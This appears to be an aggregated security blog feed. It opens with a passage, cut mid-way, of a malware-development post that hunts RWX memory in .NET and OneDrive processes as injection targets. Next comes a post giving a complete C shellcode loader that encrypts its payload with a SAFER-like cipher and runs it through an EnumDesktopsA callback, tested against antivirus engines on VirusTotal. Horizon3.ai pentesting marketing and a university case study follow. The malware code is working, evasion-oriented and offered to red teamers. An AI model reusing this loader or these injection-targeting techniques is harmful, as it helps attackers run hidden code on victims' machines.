      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

30 April 2024 at 19:33

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

Fireside Chat: Horizon3.ai and JTI Cybersecurity

17 April 2024 at 21:00

Horizon3.ai Principal Security SME Stephen Gates and JTI Cybersecurity Principal Consultant Jon Isaacson discuss:

– What JTI does to validate things like access control, data loss prevention, ransomware protection, and intrusion detection approaches.
– How #pentesting and red team exercises allow orgs to validate the effectiveness of their security controls.
– Why offensive operations work best to discover and mitigate exploitable vulnerabilities in their client’s infrastructures.

The post Fireside Chat: Horizon3.ai and JTI Cybersecurity appeared first on Horizon3.ai.

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

9 April 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (β€œmalicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs

4 April 2024 at 14:45

Managed security service providers (MSSPs) and managed services providers (MSPs) tell us that in today’s cyber threat
environment, securing customer environments while still maintaining profit margins and growing adoption of their services is an ongoing challenge. The NodeZeroTM platform enables you to proactively and efficiently probe your customers’ networks for weaknesses that go beyond known and patchable vulnerabilities, such as credentials open to compromise, exposed data, misconfigurations, poor security controls, and weak policies.

The post NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs appeared first on Horizon3.ai.

No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai

3 April 2024 at 20:46

Demand for #pentesting expertise is at an all-time high, and many orgs are struggling to meet their annual requirements for the PCI DSS v4.0. This webinar explains how our services fulfill your pentesting requirements and help you streamline your remediation efforts. You’ll learn about:

– Horizon3.ai’s human-machine teaming approach for compliance pentesting
– How we fully address requirement 11.4 of the PCI DSS and pentesting for the Self-Assessment Questionnaires (SAQs)
– A practitioner’s view of how #NodeZero helps orgs efficiently interpret and remediate their penetration test report

The post No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai appeared first on Horizon3.ai.

Horizon3.ai PCI 11.4 Pentesting Engagement

1 April 2024 at 15:44

Horizon3.ai delivers sophisticated and timely penetration testing services tailored to fulfill the internal and external pentesting requirements of your cardholder data environment outlined by the Payment Card Industry Data Security Standard (PCI DSS) v4.0. Our offerings are executed with comprehensive coverage and meticulous attention to detail to fully address these stringent pentesting requirements.

The post Horizon3.ai PCI 11.4 Pentesting Engagement appeared first on Horizon3.ai.

Autonomous Penetration Testing with Horizon3.ai

28 March 2024 at 16:47

The NodeZeroTM platform is easy-to-use, safe for production, and scales to support your largest networks. You are empowered to test a very broad scope in a single test, orchestrate tests concurrently, and simultaneously test your enterprise from different attacker perspectives.

The post Autonomous Penetration Testing with Horizon3.ai appeared first on Horizon3.ai.

NodeZero Capability Statement

28 March 2024 at 16:40

The NodeZeroTM platform empowers your organization to reduce your security risk by autonomously finding exploitable weaknesses in your network, giving you detailed guidance about how to prioritize and fix them, and helping you immediately verify that your fixes are effective.

The post NodeZero Capability Statement appeared first on Horizon3.ai.

Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia

28 March 2024 at 15:42

How Autonomous Pentesting Transformed University Protection

Given the pivotal role of education in shaping future leaders and driving innovation, safeguarding the integrity and security of educational systems is paramount. The educational sector continues to be a prime target for cyber threat actors due to its vast repositories of sensitive data, ranging from student records to innovative research findings. As universities increasingly rely on digital platforms for administrative functions, online learning, and collaborative research endeavors, the volume and diversity of data stored within their systems become lucrative targets for cybercriminals. Breaches not only compromise the confidentiality of student and faculty information but also undermine the institution’s reputation and erode trust among stakeholders. Moreover, the interconnected nature of academic networks exposes them to a wide array of cyber-attacks, including phishing attempts, malware, ransomware, exploits, and data breaches, which can disrupt operations and compromise the integrity of academic activities. By prioritizing cybersecurity, educational institutions not only fulfill their duty to protect the interests of their stakeholders but also contribute to the broader goal of building a secure and resilient digital ecosystem that fosters innovation, collaboration, and learning.

About Moravian University

  • Moravian University’s liberal arts education prepares each individual for a reflective life, fulfilling careers, and transformative leadership in a world of change.
  • Year Founded: 1742
    (6th oldest college in America)
  • Number of Staff: 372
  • Operational Reach: Moravian University is a small private institution known for offering undergraduate and graduate degrees that blend a leadership focus, career development, and global experiences with liberal arts programs. Moravian University is committed to making our private education affordable to as many students as possible.

Playing by the Book

Additional to safeguarding information and networks, educational institutions are also subject to various laws and regulations governing data protection, privacy, and cybersecurity. Compliance with these requirements is not only a legal obligation but also essential for maintaining the institution’s reputation, avoiding penalties, and protecting against cyber-attacks. This may include standards such as the General Data Protection Regulation (GDPR), the Health Insurance Portability and Accountability Act (HIPAA), the Payment Card Industry Data Security Standard (PCI DSS), and various other State and Federal higher education regulatory policies and guidance. For our higher education customers, a key aspect of compliance includes conducting continuous cyber risk assessments of their environments. This not only ensures they comply with regulations, but to also find, fix and remediate potential cybersecurity vulnerabilities within their environment before cyber threat actors exploit them.

As explained by alumni and Director of Information Security at Moravian University, Jim Beers,

Compliance is one of the main driving factors behind why Moravian needed to implement solutions that identify vulnerabilities so that we can fix them quickly.

Being with Moravian for over 25 years, Jim innately understands the need for higher education institutions to implement tools to ensure compliance and see their environment as an attacker does. Like many others in Jim’s situation, implementing solutions (such as pentesting) is crucial for universities to proactively identify and address security vulnerabilities, fortifying their digital infrastructure against cyber threats and ensuring the confidentiality, integrity, and availability (CIA) of sensitive academic and personal data.

However, unlike Jim, many educational organizations often opt to do the minimum in cybersecurity compliance. Limited budgets and resources often constrain their ability to invest in robust cybersecurity measures. Additionally, often there is a lack of awareness or understanding of the evolving cyber threats and regulatory requirements at the leadership and administrative levels. The decentralized nature of many educational institutions, with numerous departments and stakeholders operating independently, can create challenges in implementing cohesive cybersecurity policies and practices. This can also result in the perception that cybersecurity is not a top priority compared to other competing demands within the institution.

Moravian University: Remediation Guidance

What these organizations fail to realize is that a once a year traditional pentest often costs more than an autonomous solution that continuously assesses their environment. Additionally, traditional vulnerability scanners are good at identifying and describing vulnerabilities in general, but often fall short in providing actionable guidance. Jim explains, β€œour past vulnerability scanner told me what vulnerabilities were of high or low severity and if there is an exploit, but it didn’t tell me why…there was too much information without enough direction or actionable insights.” For an educational institution to proactively stay ahead of threats, Jim needed to look further and find a solution that not only saved him time and frustration, but also provided him with immediate results and fix actions to quickly resolve vulnerabilities before threat actors exploit them.

Enter NodeZeroTM

Jim wanted to get away from basic vulnerability scanners and adopt something that could not only meet regulatory and compliance requirements but one that could exceed them. His goal was to β€œmove from a limited theoretical vulnerability scanner to a scanner that allows me to see more information and reports on the things that can really be exploited.” Additionally, his current vulnerability scanner was β€œsomewhat expensive” and was limited in its scanning capability, along with its poor actionable results. Jim was also concerned that his current tools could not scan and illuminate their entire network, highlighting that β€œsecurity is about visibility, and you have to know what is there to protect, and our ability to do that was limited.” As the Department of Education (DoE) continues to implement more stringent cyber policies, regulations, and guidance, pentesting is the main driver for compliance across the board. That coupled with cyber insurance requirements, Jim explains, β€œthey [DoE and insurers] want to see that you’re identifying exploitable vulnerabilities and you’re fixing them,” and the only way to do that is through continuous assessments.

The things that you [NodeZero] are finding, we didn’t know existed.

Too new – let’s go traditional

We often hear that some of our higher education customers were hesitant to move from traditional, manual pentesting efforts to an autonomous pentesting solution like NodeZero. Some universities may be inclined to stick with traditional pentesting methods due to familiarity, comfort, and the perception of reliability. Many institutions may have established relationships with pentesting firms or internal teams that have been conducting tests using traditional methodologies for years. Additionally, there might be a lack of awareness about the limitations of traditional pentesting and the advantages of newer autonomous pentesting solutions.
However, most educational institutions that use traditional (manual) pentesting approaches tend to pentest one time to meet regulatory compliance requirements. Moravian did just that. Jim explains that before he explored solutions like Horizon3.ai’s NodeZero, they had β€œdone one traditional pentest nearly 10 years ago, and it was a hefty sum.” Furthermore, Jim’s management thought that these emerging autonomous solutions were too new to the market, and that traditional pentesting was reliable, even if it was pricey. They implemented another traditional pentesting effort prior to choosing NodeZero. β€œFor the amount we paid, [the pentesters] did a good job, but it was not exactly what they expected,” says Jim. The results Jim received from the traditional pentest were good, but he explained that β€œit was a one and done test…I have all year to fix the issues, but the environment keeps evolving and changing as we are going along…next year, how am I going to be surprised in the next pentest and during that gap, what if something goes wrong and I don’t know about it?”

Shifting to an Autonomous State of Mind

As Jim is keenly aware of the evolving cyber landscape, he decided that continuous, autonomous pentesting would not only meet compliance standards, but keep Moravian at the forefront of proactively securing their environment and keeping sensitive data safe. After their second time using traditional pentesting was somewhat unsuccessful, Jim decided it was time to give NodeZero a chance.

Moravian University: Verifying Fixes Work

Right away, Jim realized that they had made the right decision, especially because NodeZero now allowed Moravian to implement unlimited testing of their environment, as well as the ability to schedule pentests at will. He also mentioned that NodeZero allows him to β€œcheck for vulnerabilities, find out how they’re exploited, and then fix it immediately…I was amazed at how easy it was…I can use the 1-click verify shopping cart to quickly verify our remediations, saving countless hours.” With NodeZero, customers can ensure fix actions were properly implemented with 1-click verify, enabling them to quickly check that remediations fixed the issues. Further, Jim explains how NodeZero PDF reports and CSV files are highly informative, allowing him β€œto download it all as a package, slice and dice as needed, and get them distributed to the right people.”

